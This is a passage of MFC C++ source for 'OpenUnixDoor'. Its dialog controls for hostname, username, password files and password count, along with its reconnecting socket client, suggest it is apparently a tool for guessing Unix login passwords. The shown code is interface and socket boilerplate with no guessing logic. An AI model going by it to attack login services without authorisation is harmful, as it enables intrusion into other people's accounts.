GetDlgItem(IDC_ET_HOSTNAME)->EnableWindow(FALSE);


GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);


GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_CHECK_USER)->EnableWindow(FALSE);


GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_COMBO_PASS)->EnableWindow(FALSE);


GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_ET_PASSCOUNT)->EnableWindow(FALSE);


GetDlgItem(IDC_SPIN_PASS)->EnableWindow(FALSE);


GetDlgItem(IDC_BT_BEGIN)->EnableWindow(FALSE);


}


/////////////////////////////////////////////////////////////////////////////


// CHelpDlg dialog


… …


/////////////////////////////////////////////////////////////////////////////


// CHelpDlg message handlers


int CHelpDlg::DoModal()


{


return CDialog::DoModal();


}


BOOL CHelpDlg::OnInitDialog()


{


CDialog::OnInitDialog();




CString strHelp;


strHelp.LoadString(IDS_HELP);


m_Edit_HelpCtr.ReplaceSel(strHelp.operator LPCTSTR());


return TRUE; // return TRUE unless you set the focus to a control


}


void CHelpDlg::OnBtMypro()


{


CAboutDlg dlg;


dlg.DoModal();


}


/////////////////////////


//


// ClientSocket.h : header file


//


/////////////////////////


/*


*OpenUnixDoor Developer: DING Xiaoping


*Send comments and/or bug reports to: northsouth@163.com


*/


class COpenUnixDoorDlg;


class CClientSocket : public CAsyncSocket


{


… …


public:


CClientSocket(COpenUnixDoorDlg *pDlg);


virtual ~CClientSocket();


// Overrides


public:


COpenUnixDoorDlg *lpDlg;


// ClassWizard generated virtual function overrides


//{{AFX_VIRTUAL(CClientSocket)


public:


virtual void OnClose(int nErrorCode);


virtual void OnOutOfBandData(int nErrorCode);


virtual void OnReceive(int nErrorCode);


virtual void OnSend(int nErrorCode);


//}}AFX_VIRTUAL


// Generated message map functions


//{{AFX_MSG(CClientSocket)


// NOTE - the ClassWizard will add and remove member functions here.


//}}AFX_MSG


// Implementation


protected:


};


//////////////////////


//


// ClientSocket.cpp


//


//////////////////////////


/*


*OpenUnixDoor Developer: DING Xiaoping


*Send comments and/or bug reports to: northsouth@163.com


*/


#include "stdafx.h"


#include "OpenUnixDoor.h"


#include "ClientSocket.h"


#include "OpenUnixDoorDlg.h"


CClientSocket::CClientSocket(COpenUnixDoorDlg *pDlg)


{


lpDlg=pDlg;


}


void CClientSocket::OnClose(int nErrorCode)


{


CAsyncSocket::OnClose(nErrorCode);


if(lpDlg->bPassFinished)lpDlg->CloseSocket();


//else if(lpDlg->bIsStop)return ;


else lpDlg->ReConnect();


}


void CClientSocket::OnOutOfBandData(int nErrorCode)


{


CAsyncSocket::OnOutOfBandData(nErrorCode);


}


void CClientSocket::OnReceive(int nErrorCode)


{


lpDlg->ReceiveData(this);


}


void CClientSocket::OnSend(int nErrorCode)


{


CAsyncSocket::OnSend(nErrorCode);


}

#Advertisement